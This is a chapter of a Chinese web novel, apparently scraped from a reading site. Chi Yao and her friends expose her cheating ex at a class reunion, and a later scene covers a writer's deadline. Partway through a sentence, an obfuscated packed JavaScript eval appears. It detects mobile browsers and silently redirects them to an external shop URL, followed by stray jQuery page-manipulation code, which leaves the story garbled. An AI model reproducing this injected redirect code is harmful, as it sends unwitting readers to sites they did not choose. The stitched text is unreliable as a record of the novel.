吴越钧和王星荇气得倒仰,想让同学帮忙堵住卢照雪的嘴,结果一扭头,发现他们竟全在看他俩的热闹。
王星荇气得手指都在哆嗦。吴越钧推开她,手臂高高扬起,在落下时却被人一把抓住。
“喂,君子动口不动手,这点你都不知道吗。”汤栎语气很淡,但有一种不容置疑的轻慢。
他上下扫视了一遍吴越钧,丝毫不见不好意思,“哦,我忘了,你这种因劈腿被前女友甩了的渣滓,恐怕不知道这句话。”
“你!你们!”
吴越钧本想放些狠话,可手臂还被攥住,意识到这样很没气势,他一个用力,终于将小臂解救了出来。
他满脸通红,纯粹是被气的,吴越钧怒道:“你们说这么多,是为了迟遥吧。怎么,她把你俩放出来咬人,自己躲着看好戏?”
气急的吴越钧在室内搜寻一番,总算找到了罪魁祸首,他大步流星冲到迟遥面前。
迟遥腰背往后靠,双手抱臂,对眼前这个堪称陌生的人,她吝啬地给了他一个眼神。
吴越钧却好像误会了什么,他抹了一把脸,苦口婆心劝,“迟遥,这么多年,你还没放下吗?”
原本慢慢悠悠走的王星荇一听这话,立马冲了过来,“迟遥,你死了这条心吧,就算你等到死,阿越也不会和你复合的,对吧,阿越?”
吴越钧宠溺地摸了下她的头,故意压低声音发出黏糊的低音炮,“当然,我爱的只有你。”
“至于其他人,”他意有所指地瞥了眼迟遥,“我看都不会看。”
“yue”
“停停停!”迟遥嫌恶地做了个暂停的手势,她极其无语,“我说,你们有病就去治好吗,跑我面前发什么癫?”
“还有,你、劈腿的烂人能不能别在我面前找存在感,很恶心的知不知道。”迟遥用手在鼻子前扇了扇风,“空气都臭了。”
“听到没,你们打扰我们吃饭了。”卢照雪叉腰,一脸嚣张。
哪知,吴越钧没理会卢照雪,反而自顾自盯着迟遥,“我知道,你只是嘴硬,但我现在有了星星,你还是要过自己的人生,不要等我了。”
越听迟遥眉头蹙得越明显,“你是不是听不懂人话?”
王星荇横眉冷对,“迟遥,你什么意思!”
吴越钧轻柔地拉了她一把,转而看向迟遥,“如果不是念念不忘,你就应该管好这位、”他打量了一下汤栎,继续道:“追求者?不过你的眼光有待提高啊。”
迟遥灿然一笑,“是啊,不然以前怎么会眼瞎找了你。”
“迟遥,现在说这些就没意思了。”
迟遥不想再跟这种没有脑子的人对话,她干脆利落道:“我今天来同学聚会,就是听说你在造谣当年是你甩了我。”
“今天,我就是来和吴越钧当面对峙的,当年是他出轨劈腿,我嫌恶心当场和他分手,是我甩了他。希望大家知晓事实,以后别再说错了,毕竟和这种人谈过是一种黑历史,谢谢大家。”
迟遥站起,落落大方地朝席上的众人微笑示意。
席上霎时响起一片吸气声,突然有人高声道:“文艺委员你早说啊,我就说只有你甩别人的份儿,怎么可能被人甩呢。”
“原来是有人面子过不去,故意这么说的啊。”
“哈哈哈哈哈哈哈哈。”
听着席间此起彼伏的起哄声与嘲笑,吴越钧的脸色当即变得又红又青又黑的,跟调色盘有得一拼,他拳头紧握,“迟遥,说我出轨,你有证据吗!”
迟遥动作一滞,靠,当时打完就走了,谁还想着留这么倒人胃口的东西。
一见迟遥的表情,吴越钧秒放松下来,他就知道迟遥不可能有证据,旋即胜券在握。
“呵呵,迟遥,没证据的事就别嚷嚷得满天下的人知道,明明是我甩了你,你不甘心来搞臭我的名声算什么。”
席间的众人没想到这事竟然还能有反转,不约而同地沉默下来,翘首以盼迟遥的反应。
可只等来的是迟遥干巴巴的反驳,“谁会留那么令人恶心的照片。”
“没有证据就是你说谎。”
迟遥不可置信,“吴越钧,你脸皮竟然能厚到这份儿上。”
时间一点点过去,迟遥仍没拿出证据。
“诶?”
“所以谁说的是对的?”
“不知道啊,但我站文艺委员。”
“我看不一定。”
眼见席上的言论渐渐偏向吴越钧。
“谁说的没有证据。”
关键时刻,卢照雪举起手机,笑眯眯的,“我有证据哦。”
她将手机放在转盘上,“来来来,大家都可以看看。第一张是大一吴渣男和王渣女搞在一起的照片,那时我们遥遥还被蒙在鼓里呢。”
无视吴越钧越来越难看的脸色,卢照雪笑得更欢,“哦,大家别光看第一张,第二张呢,是某人现在出轨的照片哦。”
末了,她精辟地做了总结,“嗯,看来出轨只有零次和无数次呢。”
“你说对吧,王猩猩?”卢照雪骤然叫出王星荇的名字。
王星荇被忽然的点名一惊,随即意识到对方说了什么,表情挂不住了,“你在说什么?”
只是还没等她问,吴越钧就肉眼可见变得慌乱,他指着卢照雪,“住嘴,你胡说什么!造谣是犯法的!”
“吴越钧!”
王星荇和他在一起好几年,怎么会分不清他心虚的神情,“你最好解释清楚。”
吴越钧急切解释,“星星,那是卢照雪故意这么说的,她挑拨离间呢!你这么聪明,肯定不会上当的对不对。”
对于这诋毁,卢照雪耸肩,“爱信不信。”
王星荇看了眼趾高气昂的卢照雪,再看低声下气好言好语的吴越钧,心中的天平渐渐偏移。
这时,卢照雪对着王星荇慢悠悠补充,“啊,我劝你看看那张照片,现在出轨的人好像叫什么琳,哦对,冯琳,似乎是你家的秘书哦。”
冯琳,王星荇眼神一暗,瞬间想起公司新招的秘书,吴越钧还向她提起过几次,说工作不错,要给对方加薪呢。
恰巧手机停在她面前,王星荇倏地拿起手机,只看了一眼,她把包狠狠砸向吴越钧,“吴越钧,你完了。”说罢转身就走。
“星星,那不是真的,你听我解释啊。”吴越钧捡起地上的包,忙不迭地追人而去。
“回旋镖砸在自己身上的滋味怎么样?”
卢照雪吼完这一句,满意地看着王猩猩一踉跄,随后走得更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482565|201832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快了。
直到两人走远,包厢里猝然发出响亮的爆笑声。
等大家笑得差不多后,迟遥咳了几声,“不好意思,让大家看笑话了。我们三人还有事,就不打扰大家了,祝大家吃得开心。”
“文艺委员你不留下吃饭吗?”
“嗯嗯,不吃了。”
“好吧,其实也没有打扰。”
“说实话,这节目比小品都好看。”
“没成想班草竟然会出轨,想当初,谁看得出来呢,物是人非呀。”
席间众人还在感慨,迟遥三人已趁这个时候,溜了出来。
“阿雪,真飒!”
“乐乐,真酷!”
迟遥向两人竖起大拇指,为刚才的发挥啧啧称奇,不过,“雪啊,你怎么知道那些事的?”
卢照雪看看天看看地,见迟遥仍执意盯着她,她嘿嘿笑,“那啥,那天你期待地出门,结果回来时垂头丧气跟碰见死人了一样,是个人都知道有问题好吧!”
她求饶,“你别这么看我,我只是偷偷托人查了查,结果就,再说,那也只是亲吻照,没啥的!”
谁料,迟遥若有所思,“嘶,也就是说,这些照片你留了这么久?”
“噫,口味真重!”
卢照雪一个激灵,笑骂:“滚呐,休想恶心我。”
一旁的汤栎在手机上库库打字,闻言头也不抬,“那冯琳呢?”
“现查的,这不是要对峙了吗,刚托人现查的。”
见迟遥不信的眼神,卢照雪认输,“好啦,其实是陈婳说的,以前我跟她八卦时,她跟我偷偷说的。”
卢照雪见实在忽悠不过去,索性头一偏,这下汤栎埋头奋笔疾书猛猛打字的动作被收入眼底,她一个闪身凑过去,“诶,乐乐你跟谁聊天呢,让我瞧瞧。”
汤栎把手机一收,极为自然,“没聊什么,我们去吃饭吧。”
“诶,我看看我看看。”
“乐乐你别跑!”说让人别跑,实则自己跑得飞快。
望着落荒而逃的照雪,迟遥无奈地跟了上去。
下午,卢照雪处理突如其来的工作,“啊啊啊啊啊不想码字,遥遥救我~”
迟遥两手一摊,“恕我无能为力啊~”
电话那头,卢照雪的编辑颇为无情,“卢!照!雪!求饶没用,我不会再心软了,你看看你个鸽子精,你已经一个月没更新了!你知道我承担着多大的压力吗!”
“雪上痕太太,求求你,快写吧。”
听到自己的笔名被唤得山路十八弯,卢照雪双手抱头,“我写我写,你别念了。”
迟遥在一旁偷偷唏嘘,幸好自己没人催,至于那群嗷嗷待哺的粉丝早被她抛之脑后。
等卢照雪赶完字数,已是深更半夜,她困倦地往床上躺,睡之前还不忘咕哝:“遥遥,明天去接、接小、小...”
第二天一早,迟遥推开院门,准备去山道口接人。
远远的,晨雾中出现一个模糊的身影,高大挺拔。
走得越近,迟遥觉得那道人影越来越熟悉。
待近到再无可近,看清来人的长相,迟遥默默捏拳,怪不得刚才某人死也不来。
对面的人一脸无辜,“嗨,迟遥,早上好。”